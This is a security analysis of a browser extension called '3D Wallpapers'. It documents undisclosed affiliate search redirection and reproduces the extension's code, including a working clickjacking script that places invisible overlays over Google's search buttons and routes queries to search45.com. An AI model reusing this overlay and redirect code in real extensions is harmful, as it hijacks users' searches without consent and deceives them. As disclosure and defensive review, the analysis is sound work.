3D Wallpapers

The 'yahoo' case is set as the default (selectedSearchEngine = 'yahoo') but is actually routed to find.digital-marketing-ads.com with a hardcoded affiliate ID (gd=SY1003609, searchsource=69). This is an undisclosed affiliate search monetization scheme masquerading as a Yahoo search option. The CWS description claims the extension provides Google search results, but all searches default to this third-party affiliate aggregator, which is unrelated to the extension's stated wallpaper purpose and not disclosed in any privacy policy category.

switch (selectedSearchEngine) {  case "google":    finalUrl = "https://www.google.com/search?q=" + $("input[name='q']")      .val();    break;  case "bing":    finalUrl = "https://www.bing.com/search?q=" + $("input[name='q']")      .val();    break;  default:    finalUrl = "https://find.digital-marketing-ads.com/results.aspx?gd=SY1003609&searchsource=69&q=" + $(        "input[name='q']")      .val();    break;}

This content script targets Google's search results page (using Google-specific CSS selectors .FPdoLc and .gNO89b for the submit button) and places invisible absolutely-positioned overlays (z-index: 999999999999999) directly over Google's search buttons. When a user types a query and presses Enter or clicks what appears to be Google's search button, their query is silently hijacked to search45.com instead. This constitutes clickjacking of a major search engine to redirect queries to an undisclosed affiliate search service. Although this file is not declared in the bundled manifest.json (no content_scripts key), its presence in the extension bundle indicates prior active deployment or a staged rollout that has not yet been enabled in this version.

$(document)  .ready(function() {    $(document)      .on("click", ".sbct .suggestions-inner-container", function(event) {        event.stopPropagation();        location.href = "http://search45.com/search?q=" + $(this)          .find(".sbtc")          .text();      });    $(document)      .on("keyup", 'input[name="q"]', function(event) {        if (event.key == "Enter") {          location.href = "http://search45.com/search?q=" + $(this)            .val();        }        if ($('#overlay-google-search1')          .length == 0) {          $('body')            .append(`                <div id="overlay-google-search1"></div>            `);        }        if ($('#overlay-google-search2')          .length == 0) {          $('body')            .append(`                <div id="overlay-google-search2"></div>            `);        }        $('#overlay-google-search1')          .css({            'position': 'absolute',            'left': window.scrollX + $('.FPdoLc input[name="btnK"]')[0].getBoundingClientRect()              .left,            'top': window.scrollY + $('.FPdoLc input[name="btnK"]')[0].getBoundingClientRect()              .top,            "width": $('.FPdoLc input[name="btnK"]')[0].offsetWidth,            "height": $('.FPdoLc input[name="btnK"]')[0].offsetHeight,            "z-index": 999999999999999          });      });    $(document)      .on("click", '#overlay-google-search1, #overlay-google-search2', function(event) {        location.href = "http://search45.com/search?q=" + $('input[name="q"]')          .val();      });  });

The HTML form's fallback action attribute points to search101.info, a third-party search affiliate domain not disclosed in the privacy policy and unrelated to the extension's stated purpose. If JavaScript is unavailable or the tabCustomizer.js submit handler fails, search queries would be submitted directly to this undisclosed third-party. This provides a secondary undisclosed search monetization channel.

<form method="get" action="https://search101.info/search.php" id="frmSearch">

The bundled manifest declares manifest_version 2 and author 'Frooty Studios', while the live CWS listing shows manifest_version 3 and attributes the extension to 'Triplex Media'. The author name discrepancy strongly suggests the extension was transferred or rebranded after initial submission, a pattern associated with extension acquisition for monetization abuse. The manifest version mismatch may indicate the CWS listing was updated without the corresponding ZIP being replaced.

{  "name": "3D Wallpapers",  "author": "Frooty Studios",  "version": "0.8",  "manifest_version": 2,  "permissions": []}